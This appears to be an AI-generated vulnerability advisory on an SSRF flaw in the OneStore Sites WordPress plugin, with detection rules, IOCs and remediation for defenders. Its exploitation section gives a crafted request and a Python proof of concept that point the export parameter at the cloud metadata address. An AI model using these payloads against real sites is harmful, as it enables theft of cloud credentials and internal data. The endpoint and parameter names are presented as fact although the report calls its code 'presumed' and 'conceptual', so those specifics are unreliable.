CVE-2024-13905

Executive Summary

CVE-2024-13905 is a Server-Side Request Forgery (SSRF) vulnerability in the OneStore Sites WordPress plugin, affecting all versions up to and including 0.1.1. This flaw resides in the class-export.php file and allows unauthenticated attackers to make arbitrary HTTP requests from the web server. The vulnerability can be leveraged to probe internal network services, exfiltrate sensitive data, or modify internal resources, posing a significant risk to cloud and on-premises WordPress deployments.

Affected Ecosystem: WordPress Plugin (OneStore Sites) Attack Vector: Network (HTTP) Privileges Required: None User Interaction: None

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Severity Rationale: The vulnerability is easily exploitable remotely without authentication, but the impact is limited to low confidentiality and integrity loss. However, in cloud environments with metadata services (e.g., AWS, GCP), the actual impact can escalate to high.

Deep Dive & Mechanics

The vulnerability exists in the class-export.php file of the OneStore Sites plugin. The plugin likely provides functionality to export site data, and the export process accepts a URL parameter to fetch remote resources. Due to insufficient validation, an attacker can supply a malicious URL (e.g., http://169.254.169.254/latest/meta-data/) that the server will fetch and return in the response.

Root Cause: The plugin uses a function like wp_remote_get() or file_get_contents() with user-supplied input without proper sanitization or allowlisting of allowed hosts/protocols.

Attack Flow:

1. Attacker identifies a WordPress site running the vulnerable plugin.
2. Attacker sends a crafted HTTP request to the export endpoint with a target URL pointing to an internal service.
3. The server processes the request, fetches the internal resource, and returns the data to the attacker.
4. Attacker can use this to enumerate internal services, steal cloud metadata, or perform blind SSRF attacks.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in class-export.php. A secure implementation would:

• Validate the URL against an allowlist of trusted domains.
• Block requests to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
• Use a dedicated HTTP client that prevents redirects to internal hosts.

Vulnerable Code (Conceptual):

$url = $_GET['export_url'];
$response = wp_remote_get($url);
echo wp_remote_retrieve_body($response);

Patched Code (Conceptual):

$url = $_GET['export_url'];
if (filter_var($url, FILTER_VALIDATE_URL) && !is_private_ip(parse_url($url, PHP_URL_HOST))) {
    $response = wp_remote_get($url);
    echo wp_remote_retrieve_body($response);
} else {
    wp_die('Invalid URL');
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with OneStore Sites plugin v0.1.1.
• Network access to the WordPress admin or public endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: /wp-admin/admin-ajax.php?action=onestore_export&export_url=TARGET
2. Replace TARGET with an internal service URL.
3. Example request to probe AWS metadata:

   GET /wp-admin/admin-ajax.php?action=onestore_export&export_url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
   Host: target-wordpress-site.com
   

4. The response will contain the metadata content.

Proof-of-Concept (Python):

import requests

target = "http://target-wordpress-site.com"
payload = "/wp-admin/admin-ajax.php?action=onestore_export&export_url=http://169.254.169.254/latest/meta-data/"

response = requests.get(target + payload)
print(response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for requests to the admin-ajax.php endpoint with action=onestore_export and suspicious export_url parameters.
• Alert on URLs containing private IP ranges or cloud metadata endpoints.

Hardening:

• Disable the plugin immediately if not required.
• Implement a Web Application Firewall (WAF) rule to block requests with export_url containing private IPs.
• Restrict outbound traffic from the WordPress server using network policies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with parameter action=onestore_export.
  • Outbound connections from the web server to internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x).
• File IOCs:
  • Presence of the file /wp-content/plugins/onestore-sites/includes/class-export.php.
• Log IOCs:
  • Web server logs showing admin-ajax.php requests with export_url containing IP addresses.

Detection Engineering

YARA Rule

rule CVE_2024_13905_SSRF_OneStore {
    meta:
        description = "Detects exploitation attempts of CVE-2024-13905 in OneStore Sites plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13905"
    strings:
        $s1 = "onestore_export" ascii wide nocase
        $s2 = "export_url" ascii wide nocase
        $s3 = "169.254" ascii wide nocase
        $s4 = "10." ascii wide nocase
        $s5 = "192.168" ascii wide nocase
        $s6 = "172.16" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-13905 SSRF via OneStore Sites Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the OneStore Sites export endpoint with internal IP addresses.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "action=onestore_export"
            - "export_url="
    internal_ip:
        cs-uri-query|contains:
            - "169.254"
            - "10."
            - "192.168"
            - "172.16"
    condition: selection and internal_ip
falsepositives:
    - Legitimate use of the export feature with internal URLs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13905 OneStore Sites SSRF Attempt"; flow:to_server; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=onestore_export"; http_uri; content:"export_url="; http_uri; pcre:"/export_url=(https?:\/\/)?(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Block the vulnerable endpoint via .htaccess or Nginx configuration:

   location ~* /wp-admin/admin-ajax.php {
       if ($args ~* "action=onestore_export") {
           return 403;
       }
   }
   

3. Apply WAF rules to block SSRF patterns.

Long-term Fix:

• Monitor the plugin vendor for a security update.
• Replace the plugin with an alternative that does not have SSRF vulnerabilities.
• Implement network segmentation to limit outbound traffic from the web server.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.